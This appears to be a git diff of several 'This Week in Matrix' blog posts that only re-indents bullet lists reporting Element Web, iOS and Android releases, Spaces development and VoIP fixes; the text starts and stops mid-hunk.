* On Android, we’re making good progress on creating and managing spaces, first focusing on public space use cases. Otherwise, we’re also polishing implementations on web & iOS.
|
||||
* Social Login
|
||||
* After shipping Social Login on matrix.org, we’re working on general stability to harden the feature, and get better visibility on stability.
|
||||
* Spaces
|
||||
* On Android, we’re making good progress on creating and managing spaces, first focusing on public space use cases. Otherwise, we’re also polishing implementations on web & iOS.
|
||||
*
|
||||
|
||||
**Web**
|
||||
|
||||
|
||||
|
||||
* 1.7.22 RC on staging, includes
|
||||
* Improved Jitsi conference names
|
||||
* Disabled chat effects when reduced motion preferred
|
||||
* 1.7.22 planned for release on Monday (1 Mar)
|
||||
* 1.7.22 RC on staging, includes
|
||||
* Improved Jitsi conference names
|
||||
* Disabled chat effects when reduced motion preferred
|
||||
* 1.7.22 planned for release on Monday (1 Mar)
|
||||
|
||||
**iOS**
|
||||
|
||||
|
||||
|
||||
* 1.2.2 RC currently available in TestFlight
|
||||
* 1.2.3 RC is coming
|
||||
* Will be released on Monday:
|
||||
* Mainly bug fixes around e2ee and VoIP
|
||||
* 1.2.2 RC currently available in TestFlight
|
||||
* 1.2.3 RC is coming
|
||||
* Will be released on Monday:
|
||||
* Mainly bug fixes around e2ee and VoIP
|
||||
|
||||
**Android**
|
||||
|
||||
|
||||
|
||||
* 1.1.0 released with a huge update on VoIP
|
||||
* Initial sync is now more reliable for big accounts, consuming less RAM
|
||||
* 1.1.0 released with a huge update on VoIP
|
||||
* Initial sync is now more reliable for big accounts, consuming less RAM
|
||||
|
||||
### Watch The Matrix, for Apple Watch
|
||||
|
||||
|
|
|
|||
|
|
@ -236,18 +236,18 @@ Updates from the teams:
|
|||
|
||||
|
||||
|
||||
* Social Login
|
||||
* MSC 2858 (multiple sso providers) has been pushed to spec
|
||||
* Spaces
|
||||
* Web is trailblazing private spaces, while Android is catching up on support for public spaces
|
||||
* We’ve almost finished the first implementation of the Space Summary API in Synapse, so will start testing public space user flows next week!
|
||||
* Social Login
|
||||
* MSC 2858 (multiple sso providers) has been pushed to spec
|
||||
* Spaces
|
||||
* Web is trailblazing private spaces, while Android is catching up on support for public spaces
|
||||
* We’ve almost finished the first implementation of the Space Summary API in Synapse, so will start testing public space user flows next week!
|
||||
|
||||
**VoIP**
|
||||
|
||||
|
||||
|
||||
* Another connectivity fix on web
|
||||
* Fixed jitsi sometimes getting usernames instead of display names on web
|
||||
* Another connectivity fix on web
|
||||
* Fixed jitsi sometimes getting usernames instead of display names on web
|
||||
|
||||
**Web**
|
||||
|
||||
|
|
@ -255,10 +255,10 @@ Element Web 1.7.23 is now available, including:
|
|||
|
||||
|
||||
|
||||
* Refreshed UI for file uploads and sent messages
|
||||
* Improved VoIP call connection reliability
|
||||
* Added Edge to the set of supported browsers
|
||||
* Added send message button to the composer
|
||||
* Refreshed UI for file uploads and sent messages
|
||||
* Improved VoIP call connection reliability
|
||||
* Added Edge to the set of supported browsers
|
||||
* Added send message button to the composer
|
||||
|
||||
...along with many smaller fixes.
|
||||
|
||||
|
|
@ -266,10 +266,10 @@ Element Web 1.7.23 is now available, including:
|
|||
|
||||
|
||||
|
||||
* The [1.2.6](https://github.com/vector-im/element-ios/releases) release in on the App Store since Monday
|
||||
* Trust shields have been removed from rooms list for performance
|
||||
* The crypto module has received several performance improvements
|
||||
* Several memory leaks have been fixed
|
||||
* The [1.2.6](https://github.com/vector-im/element-ios/releases) release in on the App Store since Monday
|
||||
* Trust shields have been removed from rooms list for performance
|
||||
* The crypto module has received several performance improvements
|
||||
* Several memory leaks have been fixed
|
||||
|
||||
## Dept of SDKs and Frameworks 🧰
|
||||
|
||||
|
|
|
|||
|
|
@ -184,29 +184,29 @@ Updates from the teams:
|
|||
|
||||
**Delight**
|
||||
|
||||
* Spaces are now testable on [develop.element.io](https://develop.element.io) & matrix.org! Buyer beware: They’re in early beta, using unstable prefixes, so may break at any time. But you can test by enabling the Spaces labs flag while connecting to matrix.org or a Synapse development build
|
||||
* If you’d also like access to a test build for Android, we’re working out a better way to deliver test builds, but in the meanwhile let us know in the new [spaces feedback room](https://matrix.to/#/#spaces-feedback:matrix.org)
|
||||
* There’s lots of rough edges, but we’re first focusing on polishing public spaces, and feedback is welcome in the [spaces feedback room](https://matrix.to/#/#spaces-feedback:matrix.org), or via GitHub issues
|
||||
* If you run an online community (using any platform), we’d love to talk to learn more about your general pains too, in you guessed it: the [spaces feedback room](https://matrix.to/#/#spaces-feedback:matrix.org)
|
||||
* Watch this week's Matrix Live for a demo of the above!
|
||||
* Spaces are now testable on [develop.element.io](https://develop.element.io) & matrix.org! Buyer beware: They’re in early beta, using unstable prefixes, so may break at any time. But you can test by enabling the Spaces labs flag while connecting to matrix.org or a Synapse development build
|
||||
* If you’d also like access to a test build for Android, we’re working out a better way to deliver test builds, but in the meanwhile let us know in the new [spaces feedback room](https://matrix.to/#/#spaces-feedback:matrix.org)
|
||||
* There’s lots of rough edges, but we’re first focusing on polishing public spaces, and feedback is welcome in the [spaces feedback room](https://matrix.to/#/#spaces-feedback:matrix.org), or via GitHub issues
|
||||
* If you run an online community (using any platform), we’d love to talk to learn more about your general pains too, in you guessed it: the [spaces feedback room](https://matrix.to/#/#spaces-feedback:matrix.org)
|
||||
* Watch this week's Matrix Live for a demo of the above!
|
||||
|
||||
**VoIP**
|
||||
|
||||
* Not too much news this week, but look out for another connectivity fix in next week’s element web release.
|
||||
* Not too much news this week, but look out for another connectivity fix in next week’s element web release.
|
||||
|
||||
**Web**
|
||||
|
||||
* Element Web 1.7.24-rc.1 on staging, including:
|
||||
* Additional VoIP call connection reliability improvements
|
||||
* Added invite option to room tile context menu
|
||||
* Improved cross-signing login flow
|
||||
* On develop / nightly:
|
||||
* Improved invite error handling
|
||||
* Search indexing errors now properly state the error, instead of asking you to use desktop (when you already are)
|
||||
* Element Web 1.7.24-rc.1 on staging, including:
|
||||
* Additional VoIP call connection reliability improvements
|
||||
* Added invite option to room tile context menu
|
||||
* Improved cross-signing login flow
|
||||
* On develop / nightly:
|
||||
* Improved invite error handling
|
||||
* Search indexing errors now properly state the error, instead of asking you to use desktop (when you already are)
|
||||
|
||||
**iOS**
|
||||
|
||||
* Element-iOS [1.2.7](https://github.com/vector-im/element-ios/releases/tag/v1.2.7) is already available from TestFlight and will be available on the App Store on Monday.
|
||||
* Element-iOS [1.2.7](https://github.com/vector-im/element-ios/releases/tag/v1.2.7) is already available from TestFlight and will be available on the App Store on Monday.
|
||||
|
||||
## Dept of SDKs and Frameworks 🧰
|
||||
|
||||
|
|
|
|||
|
|
@ -149,30 +149,30 @@ From the teams:
|
|||
|
||||
|
||||
|
||||
* Spaces
|
||||
* We’ve been iterating on our initial implementation of private spaces, including getting the first parts of restricting room membership to space membership in Synapse
|
||||
* We’re also breaking out larger MSCs into smaller ones, like [this draft](https://github.com/matrix-org/matrix-doc/pull/3083) on space membership.
|
||||
* Spaces
|
||||
* We’ve been iterating on our initial implementation of private spaces, including getting the first parts of restricting room membership to space membership in Synapse
|
||||
* We’re also breaking out larger MSCs into smaller ones, like [this draft](https://github.com/matrix-org/matrix-doc/pull/3083) on space membership.
|
||||
|
||||
**Web**
|
||||
|
||||
|
||||
|
||||
* 1.7.24 released on Monday
|
||||
* Additional VoIP call connection reliability improvements
|
||||
* Added invite option to room tile context menu
|
||||
* Improved cross-signing login flow
|
||||
* On develop
|
||||
* Added prompt before quit in desktop
|
||||
* Fixed recovery key loop at login
|
||||
* Indexing errors added to settings
|
||||
* 1.7.24 released on Monday
|
||||
* Additional VoIP call connection reliability improvements
|
||||
* Added invite option to room tile context menu
|
||||
* Improved cross-signing login flow
|
||||
* On develop
|
||||
* Added prompt before quit in desktop
|
||||
* Fixed recovery key loop at login
|
||||
* Indexing errors added to settings
|
||||
|
||||
**iOS**
|
||||
|
||||
|
||||
|
||||
* We made 1.2.7 ([https://github.com/vector-im/element-ios/releases/tag/v1.2.7](https://github.com/vector-im/element-ios/releases/tag/v1.2.7)) available on the App Store.
|
||||
* We continued to iterate and polish the new text composer. You can preview changes in videos in our PRs: [https://github.com/vector-im/element-ios/pull/4146](https://github.com/vector-im/element-ios/pull/4146), [https://github.com/vector-im/element-ios/pull/4151](https://github.com/vector-im/element-ios/pull/4151)
|
||||
* The code that manages background syncs for the notification extension has been refactored to limit RAM usage. It will fix the out of memory crash.
|
||||
* We made 1.2.7 ([https://github.com/vector-im/element-ios/releases/tag/v1.2.7](https://github.com/vector-im/element-ios/releases/tag/v1.2.7)) available on the App Store.
|
||||
* We continued to iterate and polish the new text composer. You can preview changes in videos in our PRs: [https://github.com/vector-im/element-ios/pull/4146](https://github.com/vector-im/element-ios/pull/4146), [https://github.com/vector-im/element-ios/pull/4151](https://github.com/vector-im/element-ios/pull/4151)
|
||||
* The code that manages background syncs for the notification extension has been refactored to limit RAM usage. It will fix the out of memory crash.
|
||||
|
||||
## Dept of Guides 🧭
|
||||
|
||||
|
|
|
|||
|
|
@ -270,26 +270,26 @@ Updates provided by the teams.
|
|||
|
||||
|
||||
|
||||
* We’re iterating on private spaces, working towards making them publicly testable first on the Web & Android, with iOS to follow.
|
||||
* [MSC3083](https://github.com/matrix-org/matrix-doc/pull/3083) (Restricting room membership based on space membership) has more details on spec changes.
|
||||
* If you have Spaces enabled in labs on the Web or Android come join us in the [Matrix Test Space](https://matrix.to/#/#matrix-test-space:matrix.org)
|
||||
* And big thank you to everyone giving feedback in the [Spaces feedback room](https://matrix.to/#/#spaces-feedback:matrix.org), please keep it coming and as a reminder if you run a public community (on any platform) we’d love to chat to you to get closer to understand your problems and goals.
|
||||
* We’re iterating on private spaces, working towards making them publicly testable first on the Web & Android, with iOS to follow.
|
||||
* [MSC3083](https://github.com/matrix-org/matrix-doc/pull/3083) (Restricting room membership based on space membership) has more details on spec changes.
|
||||
* If you have Spaces enabled in labs on the Web or Android come join us in the [Matrix Test Space](https://matrix.to/#/#matrix-test-space:matrix.org)
|
||||
* And big thank you to everyone giving feedback in the [Spaces feedback room](https://matrix.to/#/#spaces-feedback:matrix.org), please keep it coming and as a reminder if you run a public community (on any platform) we’d love to chat to you to get closer to understand your problems and goals.
|
||||
|
||||
**iOS**
|
||||
|
||||
|
||||
|
||||
* The olm library is now available through Swift Package Manager. Instructions can be found at [https://gitlab.matrix.org/matrix-org/olm/-/tree/master/xcode](https://gitlab.matrix.org/matrix-org/olm/-/tree/master/xcode).
|
||||
* Element-iOS 1.3.0 is almost ready to be shipped. A public TestFlight will be available over the weekend. It has an entire new text composer with changes in the layout around the room timeline. It contains several fixes in the notification extension to avoid “Unable to decrypt” errors and out of memory crashes.
|
||||
* We made good progress on the new design for VoIP but we preferred to polish it even more. It will be available in another version.
|
||||
* The olm library is now available through Swift Package Manager. Instructions can be found at [https://gitlab.matrix.org/matrix-org/olm/-/tree/master/xcode](https://gitlab.matrix.org/matrix-org/olm/-/tree/master/xcode).
|
||||
* Element-iOS 1.3.0 is almost ready to be shipped. A public TestFlight will be available over the weekend. It has an entire new text composer with changes in the layout around the room timeline. It contains several fixes in the notification extension to avoid “Unable to decrypt” errors and out of memory crashes.
|
||||
* We made good progress on the new design for VoIP but we preferred to polish it even more. It will be available in another version.
|
||||
|
||||
**Android**
|
||||
|
||||
|
||||
|
||||
* Element Android 1.1.4 has been released to the beta testers. This version includes lots of optimizations. Full changelog: [https://github.com/vector-im/element-android/releases/tag/v1.1.4](https://github.com/vector-im/element-android/releases/tag/v1.1.4). This release should be available to all users and to F-Droid users next week. The matrix SDK2 v1.1.4 has also been released today.
|
||||
* We are making good progress to implement the Spaces, which will replace the communities (AKA groups). Spaces will be available in the release 1.1.5, behind a lab flag.
|
||||
* Behind the hoods, we are making lots of code cleanup and we are improving the Matrix SDK API.
|
||||
* Element Android 1.1.4 has been released to the beta testers. This version includes lots of optimizations. Full changelog: [https://github.com/vector-im/element-android/releases/tag/v1.1.4](https://github.com/vector-im/element-android/releases/tag/v1.1.4). This release should be available to all users and to F-Droid users next week. The matrix SDK2 v1.1.4 has also been released today.
|
||||
* We are making good progress to implement the Spaces, which will replace the communities (AKA groups). Spaces will be available in the release 1.1.5, behind a lab flag.
|
||||
* Behind the hoods, we are making lots of code cleanup and we are improving the Matrix SDK API.
|
||||
|
||||
[elmussol](https://matrix.to/#/@elmussol:elsmussols.net) let us know that Element Android 1.1.3 is already available on F-droid. I love getting a new Element Android update!
|
||||
|
||||
|
|
|
|||
|
|
@ -258,28 +258,28 @@ and then
|
|||
|
||||
**Delight, a project to improve the Element experience**
|
||||
|
||||
* On Spaces, we’ve been continuing to implement [MSC3083](https://github.com/matrix-org/matrix-doc/pull/3083) (Restricting room membership based on space membership) on the Web, Android & Synapse, while also iterating on iOS.
|
||||
* Expect an announcement on more Spaces testing soon!
|
||||
* On Spaces, we’ve been continuing to implement [MSC3083](https://github.com/matrix-org/matrix-doc/pull/3083) (Restricting room membership based on space membership) on the Web, Android & Synapse, while also iterating on iOS.
|
||||
* Expect an announcement on more Spaces testing soon!
|
||||
|
||||
**Web**
|
||||
|
||||
* 1.7.26-rc.1 on staging
|
||||
* Added persistence of unsent messages across app restart
|
||||
* Improved room list filtering performance
|
||||
* Improved the image detail view
|
||||
* 1.7.26 planned for release on Monday
|
||||
* 1.7.26-rc.1 on staging
|
||||
* Added persistence of unsent messages across app restart
|
||||
* Improved room list filtering performance
|
||||
* Improved the image detail view
|
||||
* 1.7.26 planned for release on Monday
|
||||
|
||||
**iOS**
|
||||
|
||||
|
||||
|
||||
* The new room screen UI has been released (1.3.4) on the App Store. It contains several improvements and bug fixes. One major bug fix is encryption keys that failed to be shared between the notification service and the app.
|
||||
* 1.3.5 has been submitted to the app store. It contains another bug fix about encryption where the app failed to share new keys to all members of a room
|
||||
* Full story at: [https://github.com/vector-im/element-ios/releases](https://github.com/vector-im/element-ios/releases)
|
||||
* The new room screen UI has been released (1.3.4) on the App Store. It contains several improvements and bug fixes. One major bug fix is encryption keys that failed to be shared between the notification service and the app.
|
||||
* 1.3.5 has been submitted to the app store. It contains another bug fix about encryption where the app failed to share new keys to all members of a room
|
||||
* Full story at: [https://github.com/vector-im/element-ios/releases](https://github.com/vector-im/element-ios/releases)
|
||||
|
||||
**Android**
|
||||
|
||||
* 1.1.6 version has been released, fixing several issues reported with 1.1.5.
|
||||
* 1.1.6 version has been released, fixing several issues reported with 1.1.5.
|
||||
|
||||
### Konheko
|
||||
|
||||
|
|
|
|||
|
|
@ -276,29 +276,29 @@ Updates provided by the teams
|
|||
|
||||
|
||||
|
||||
* We’ve been shepherding [MSC1772](https://github.com/matrix-org/matrix-doc/pull/1772) into the spec which has now exited final comment period and merged!
|
||||
* Alongside, we’ve also been iterating on the Spaces implementations all round in preparation for wider testing soon, which has included
|
||||
* Iterating on filtering on Web to filter all Spaces
|
||||
* Iterating on logic for showing notification badges to avoid single DMs spawning multiple badges
|
||||
* Iterating on ‘Home’ to instead behave more like ‘All’
|
||||
* Iterating on implementations across the web, iOS, Android & Synapse to use stable prefixes
|
||||
* & lots of other small tweaks
|
||||
* We’ve been shepherding [MSC1772](https://github.com/matrix-org/matrix-doc/pull/1772) into the spec which has now exited final comment period and merged!
|
||||
* Alongside, we’ve also been iterating on the Spaces implementations all round in preparation for wider testing soon, which has included
|
||||
* Iterating on filtering on Web to filter all Spaces
|
||||
* Iterating on logic for showing notification badges to avoid single DMs spawning multiple badges
|
||||
* Iterating on ‘Home’ to instead behave more like ‘All’
|
||||
* Iterating on implementations across the web, iOS, Android & Synapse to use stable prefixes
|
||||
* & lots of other small tweaks
|
||||
|
||||
**Web**
|
||||
|
||||
|
||||
|
||||
* Element Web 1.7.27-rc.1 on staging
|
||||
* Added localisation support to the desktop layer (for menu items etc.)
|
||||
* Fixed encrypted search indexing on Windows
|
||||
* Hardware media keys are now ignored, so they'll go to other apps as intended
|
||||
* On develop
|
||||
* Calling architecture reworked to support multiple streams, please report any issues
|
||||
* 1.7.27 release planned for Monday
|
||||
* Element Web 1.7.27-rc.1 on staging
|
||||
* Added localisation support to the desktop layer (for menu items etc.)
|
||||
* Fixed encrypted search indexing on Windows
|
||||
* Hardware media keys are now ignored, so they'll go to other apps as intended
|
||||
* On develop
|
||||
* Calling architecture reworked to support multiple streams, please report any issues
|
||||
* 1.7.27 release planned for Monday
|
||||
|
||||
**iOS**
|
||||
|
||||
* [1.3.6](https://github.com/vector-im/element-ios/releases) is in review for the App Store. We have polished and fixed several issues on 1:1 and group calls. The release contains fixes for several bugs and crashes.
|
||||
* [1.3.6](https://github.com/vector-im/element-ios/releases) is in review for the App Store. We have polished and fixed several issues on 1:1 and group calls. The release contains fixes for several bugs and crashes.
|
||||
|
||||
Very excited about the Spaces progress! Looks like everything that I found in recent testing is fixed!
|
||||
|
||||
|
|
|
|||
|
|
@ -149,28 +149,28 @@ Updates from the teams
|
|||
|
||||
**Web**
|
||||
|
||||
* Element Web 1.7.28 is up on staging, targeting Monday for release.
|
||||
* New spaces Beta (new way of grouping rooms and people)
|
||||
* Added support for slash commands working in edits
|
||||
* On develop:
|
||||
* Voice messages are nearing completion - enable the labs flag and give it a go :)
|
||||
* Performance improvements to app startup time. Let us know if you run into any issues!
|
||||
* Element Web 1.7.28 is up on staging, targeting Monday for release.
|
||||
* New spaces Beta (new way of grouping rooms and people)
|
||||
* Added support for slash commands working in edits
|
||||
* On develop:
|
||||
* Voice messages are nearing completion - enable the labs flag and give it a go :)
|
||||
* Performance improvements to app startup time. Let us know if you run into any issues!
|
||||
|
||||
**iOS**
|
||||
|
||||
* [1.3.7](https://github.com/vector-im/element-ios/releases) is available on TestFlight. It should be on the App Store on Monday. Spaces are not yet available on Element-iOS but the app offers minimal support. The release contains a fix for background crashed due to PushKit
|
||||
* At the platform level, we are still improving stability and performance:
|
||||
* Decryption operations to be moved outside the main thread
|
||||
* More robust on initial sync
|
||||
* etc
|
||||
* [1.3.7](https://github.com/vector-im/element-ios/releases) is available on TestFlight. It should be on the App Store on Monday. Spaces are not yet available on Element-iOS but the app offers minimal support. The release contains a fix for background crashed due to PushKit
|
||||
* At the platform level, we are still improving stability and performance:
|
||||
* Decryption operations to be moved outside the main thread
|
||||
* More robust on initial sync
|
||||
* etc
|
||||
|
||||
**Android**
|
||||
|
||||
* 1.1.7 is in open testing via playstore beta channel, Release candidate for Monday. Contains support for spaces beta, several improvements on attachment (video, compression…), as well as a bunch of bug fixes. All details here [https://github.com/vector-im/element-android/releases/tag/v1.1.7](https://github.com/vector-im/element-android/releases/tag/v1.1.7)
|
||||
* 1.1.7 is in open testing via playstore beta channel, Release candidate for Monday. Contains support for spaces beta, several improvements on attachment (video, compression…), as well as a bunch of bug fixes. All details here [https://github.com/vector-im/element-android/releases/tag/v1.1.7](https://github.com/vector-im/element-android/releases/tag/v1.1.7)
|
||||
|
||||
**Delight**
|
||||
|
||||
* “Spaces are coming” (*I had heard something about that - BP*)
|
||||
* “Spaces are coming” (*I had heard something about that - BP*)
|
||||
|
||||
## Dept of SDKs and Frameworks 🧰
|
||||
|
||||
|
|
|
|||
|
|
@ -120,41 +120,41 @@ Submitted by the teams
|
|||
|
||||
|
||||
|
||||
* Spaces are now live! 🚀 Test them on Element Web, Desktop & Android (iOS is coming soon!)
|
||||
* In short, Spaces are a new way to group rooms and people together, and are slated to replace legacy groups/communities
|
||||
* We’d love your feedback! Either submitted in app or in [#spaces-feedback:matrix.org](https://matrix.to/#/#spaces-feedback:matrix.org)
|
||||
* [Read the full blog post](https://element.io/blog/spaces-the-next-frontier/)
|
||||
* Spaces are now live! 🚀 Test them on Element Web, Desktop & Android (iOS is coming soon!)
|
||||
* In short, Spaces are a new way to group rooms and people together, and are slated to replace legacy groups/communities
|
||||
* We’d love your feedback! Either submitted in app or in [#spaces-feedback:matrix.org](https://matrix.to/#/#spaces-feedback:matrix.org)
|
||||
* [Read the full blog post](https://element.io/blog/spaces-the-next-frontier/)
|
||||
|
||||
**Web**
|
||||
|
||||
|
||||
|
||||
* 1.7.28 released
|
||||
* New spaces Beta (new way of grouping rooms and people)
|
||||
* Added support for slash commands working in edits
|
||||
* 1.7.29-rc.1 on staging
|
||||
* Improved startup performance by focusing decryption on recent rooms
|
||||
* Fixed reaction duplication
|
||||
* Continuing to pursue application performance generally
|
||||
* Improving day to day developer experience with more TypeScript conversion
|
||||
* 1.7.28 released
|
||||
* New spaces Beta (new way of grouping rooms and people)
|
||||
* Added support for slash commands working in edits
|
||||
* 1.7.29-rc.1 on staging
|
||||
* Improved startup performance by focusing decryption on recent rooms
|
||||
* Fixed reaction duplication
|
||||
* Continuing to pursue application performance generally
|
||||
* Improving day to day developer experience with more TypeScript conversion
|
||||
|
||||
**iOS**
|
||||
|
||||
|
||||
|
||||
* [1.3.9](https://github.com/vector-im/element-ios/releases/tag/v1.3.9) has been published on the app store
|
||||
* Some performance improvements have been merged on develop:
|
||||
* Reduce the number of decryptions. A decryption takes about 5ms on iPhone X. On an account with 500 rooms this allows us to skip thousands of decryptions on an initial sync
|
||||
* Those decryptions do not happen anymore on the main thread
|
||||
* [1.3.9](https://github.com/vector-im/element-ios/releases/tag/v1.3.9) has been published on the app store
|
||||
* Some performance improvements have been merged on develop:
|
||||
* Reduce the number of decryptions. A decryption takes about 5ms on iPhone X. On an account with 500 rooms this allows us to skip thousands of decryptions on an initial sync
|
||||
* Those decryptions do not happen anymore on the main thread
|
||||
|
||||
**Android**
|
||||
|
||||
|
||||
|
||||
* Lots of dependency upgrade following the release with Space (1.1.7).
|
||||
* Next release candidate, 1.1.8 will also contain improvements on Spaces.
|
||||
* We have set up towncrier flow to better handle changelog generation.
|
||||
* Also Element Android project is now using GitHub actions, but it cannot run the integration tests for the moment.
|
||||
* Lots of dependency upgrade following the release with Space (1.1.7).
|
||||
* Next release candidate, 1.1.8 will also contain improvements on Spaces.
|
||||
* We have set up towncrier flow to better handle changelog generation.
|
||||
* Also Element Android project is now using GitHub actions, but it cannot run the integration tests for the moment.
|
||||
|
||||
### Fractal
|
||||
|
||||
|
|
|
|||
|
|
@ -306,37 +306,37 @@ Crafted by the [Element](https://element.io) teams.
|
|||
|
||||
|
||||
|
||||
* Spaces: We’ve been listening to, investigating, triaging and organising feedback from the beta so far. There’s a lot to get through, but thanks to everyone who has submitted feedback in-app in Element so far! The insight has been invaluable and is instrumental in shaping up our next milestones.
|
||||
* Papercuts: We’re also organising and fixing small issues throughout Element, biasing for highly visible issues which have the greatest impact and reach, affectionately titled ‘papercuts’. Expect more info on these soon, but for now a fun one to highlight is we’re implementing [blurhash](https://github.com/woltapp/blurhash) on Web & Android (with iOS to follow soon after) to improve previewing and viewing images, especially when on low bandwidth.
|
||||
* Spaces: We’ve been listening to, investigating, triaging and organising feedback from the beta so far. There’s a lot to get through, but thanks to everyone who has submitted feedback in-app in Element so far! The insight has been invaluable and is instrumental in shaping up our next milestones.
|
||||
* Papercuts: We’re also organising and fixing small issues throughout Element, biasing for highly visible issues which have the greatest impact and reach, affectionately titled ‘papercuts’. Expect more info on these soon, but for now a fun one to highlight is we’re implementing [blurhash](https://github.com/woltapp/blurhash) on Web & Android (with iOS to follow soon after) to improve previewing and viewing images, especially when on low bandwidth.
|
||||
|
||||
**Web**
|
||||
|
||||
|
||||
|
||||
* 1.7.29 released
|
||||
* Improved startup performance by focusing decryption on recent rooms
|
||||
* Fixed reaction duplication
|
||||
* Sorting out why we sometimes see "[missing translations](https://github.com/vector-im/element-web/issues/9422#issuecomment-843366412)" hopefully for good this time
|
||||
* Continuing to improve application performance
|
||||
* Started work on Apple silicon desktop builds
|
||||
* 1.7.29 released
|
||||
* Improved startup performance by focusing decryption on recent rooms
|
||||
* Fixed reaction duplication
|
||||
* Sorting out why we sometimes see "[missing translations](https://github.com/vector-im/element-web/issues/9422#issuecomment-843366412)" hopefully for good this time
|
||||
* Continuing to improve application performance
|
||||
* Started work on Apple silicon desktop builds
|
||||
|
||||
**iOS**
|
||||
|
||||
|
||||
|
||||
* We continued to work on technical subjects:
|
||||
* Stabilisation and performance improvements
|
||||
* New logging system. It will be possible to disable all logs for MatrixSDK, MatrixKit and Element-iOS
|
||||
* The code that manages application navigation in Element-iOS has been updated. It will allow us to add a slide menu to display things like user spaces.
|
||||
* We continued to work on technical subjects:
|
||||
* Stabilisation and performance improvements
|
||||
* New logging system. It will be possible to disable all logs for MatrixSDK, MatrixKit and Element-iOS
|
||||
* The code that manages application navigation in Element-iOS has been updated. It will allow us to add a slide menu to display things like user spaces.
|
||||
|
||||
**Android**
|
||||
|
||||
|
||||
|
||||
* Element Android 1.1.8 has been released on the beta track of the Google PlayStore. It will probably be pushed to production at the beginning of next week. The Android matrix SDK2 has also been released.
|
||||
* This week, we implemented the ability to change the network when looking in the room directory. Also gitter.im has been added to the default network list. See some screenshots in [https://github.com/vector-im/element-android/pull/3419](https://github.com/vector-im/element-android/pull/3419)
|
||||
* Lots of improvements regarding Spaces have also landed to develop.
|
||||
* Besides that, we are still fixing issues and perform regular maintenance on the project
|
||||
* Element Android 1.1.8 has been released on the beta track of the Google PlayStore. It will probably be pushed to production at the beginning of next week. The Android matrix SDK2 has also been released.
|
||||
* This week, we implemented the ability to change the network when looking in the room directory. Also gitter.im has been added to the default network list. See some screenshots in [https://github.com/vector-im/element-android/pull/3419](https://github.com/vector-im/element-android/pull/3419)
|
||||
* Lots of improvements regarding Spaces have also landed to develop.
|
||||
* Besides that, we are still fixing issues and perform regular maintenance on the project
|
||||
|
||||
## Dept of SDKs and Frameworks 🧰
|
||||
|
||||
|
|
|
|||
|
|
@ -230,39 +230,39 @@ Updates provided by the teams.
|
|||
|
||||
|
||||
|
||||
* We’re continuing progress on implementing Blurhash on Web & Android to improve the image loading experience, especially on low bandwidth
|
||||
* On Spaces, we’ve started working on the ability to drag and drop to re-order Spaces, along with improving adding aliases to public Spaces
|
||||
* We’re continuing progress on implementing Blurhash on Web & Android to improve the image loading experience, especially on low bandwidth
|
||||
* On Spaces, we’ve started working on the ability to drag and drop to re-order Spaces, along with improving adding aliases to public Spaces
|
||||
|
||||
**Web**
|
||||
|
||||
|
||||
|
||||
* 1.7.30 RC on staging
|
||||
* Improved layout performance in the timeline and room list
|
||||
* Refined the message action bar UI
|
||||
* Continuing to improve application performance
|
||||
* Recent focus on minimising browser layout work when things change
|
||||
* Reducing DOM size
|
||||
* Working on Apple silicon desktop builds
|
||||
* 1.7.30 RC on staging
|
||||
* Improved layout performance in the timeline and room list
|
||||
* Refined the message action bar UI
|
||||
* Continuing to improve application performance
|
||||
* Recent focus on minimising browser layout work when things change
|
||||
* Reducing DOM size
|
||||
* Working on Apple silicon desktop builds
|
||||
|
||||
**iOS**
|
||||
|
||||
|
||||
|
||||
* [1.4.0](https://github.com/vector-im/element-ios/releases/tag/v1.4.0) is available on the public TestFlight. We expect to make it available on the App Store on Monday. It has:
|
||||
* Performance improvements
|
||||
* Crash fixes
|
||||
* New languages: Esperanto, Portuguese (Brazil), Kabyle, Norwegian, Swedish, Japanese and Welsh.
|
||||
* There are some API breaks in MatrixSDK due to those performance improvements.
|
||||
* We have now a MXLog module with log levels! It is now possible to disable all logs from MatrixSDK
|
||||
* We continued to work on performance and stability and will continue to for the coming sprint period: [https://github.com/vector-im/element-ios/milestone/55](https://github.com/vector-im/element-ios/milestone/55)
|
||||
* [1.4.0](https://github.com/vector-im/element-ios/releases/tag/v1.4.0) is available on the public TestFlight. We expect to make it available on the App Store on Monday. It has:
|
||||
* Performance improvements
|
||||
* Crash fixes
|
||||
* New languages: Esperanto, Portuguese (Brazil), Kabyle, Norwegian, Swedish, Japanese and Welsh.
|
||||
* There are some API breaks in MatrixSDK due to those performance improvements.
|
||||
* We have now a MXLog module with log levels! It is now possible to disable all logs from MatrixSDK
|
||||
* We continued to work on performance and stability and will continue to for the coming sprint period: [https://github.com/vector-im/element-ios/milestone/55](https://github.com/vector-im/element-ios/milestone/55)
|
||||
|
||||
**Android**
|
||||
|
||||
|
||||
|
||||
* 1.1.8 has been released to production, and 1.1.9 has been released to beta on the PlayStore
|
||||
* We are currently working with the design team on the light and dark theme of the application, especially colors and text appearance. Lots of cleanup to do...
|
||||
* 1.1.8 has been released to production, and 1.1.9 has been released to beta on the PlayStore
|
||||
* We are currently working with the design team on the light and dark theme of the application, especially colors and text appearance. Lots of cleanup to do...
|
||||
|
||||
### Hydrogen
|
||||
|
||||
|
|
|
|||
|
|
@ -250,41 +250,41 @@ Updates from the teams.
|
|||
|
||||
|
||||
|
||||
* We’re making good progress on the ability to re-order Spaces on Web & Android, expected to land soon!
|
||||
* We’re also adding aliases to Space creation, to make it easier to share and onboard other users
|
||||
* On iOS, we recently merged a refactor with a new sidebar design which lays the foundations for iOS joining the Spaces beta
|
||||
* We’ve also been working on adding pagination to the Space Summary API on Synapse
|
||||
* Meanwhile, we’re also shepherding various MSCs through the spec process to improve private Spaces in the very near future
|
||||
* We’re making good progress on the ability to re-order Spaces on Web & Android, expected to land soon!
|
||||
* We’re also adding aliases to Space creation, to make it easier to share and onboard other users
|
||||
* On iOS, we recently merged a refactor with a new sidebar design which lays the foundations for iOS joining the Spaces beta
|
||||
* We’ve also been working on adding pagination to the Space Summary API on Synapse
|
||||
* Meanwhile, we’re also shepherding various MSCs through the spec process to improve private Spaces in the very near future
|
||||
|
||||
**Web**
|
||||
|
||||
|
||||
|
||||
* 1.7.30 released on Monday
|
||||
* On develop
|
||||
* Upgraded to React 17
|
||||
* First GitHub Actions pipeline for web
|
||||
* In flight
|
||||
* Continuing to improve application performance
|
||||
* Adding dashboard for performance benchmarks
|
||||
* Working on Apple silicon desktop builds
|
||||
* Working on translation mismatch errors
|
||||
* 1.7.30 released on Monday
|
||||
* On develop
|
||||
* Upgraded to React 17
|
||||
* First GitHub Actions pipeline for web
|
||||
* In flight
|
||||
* Continuing to improve application performance
|
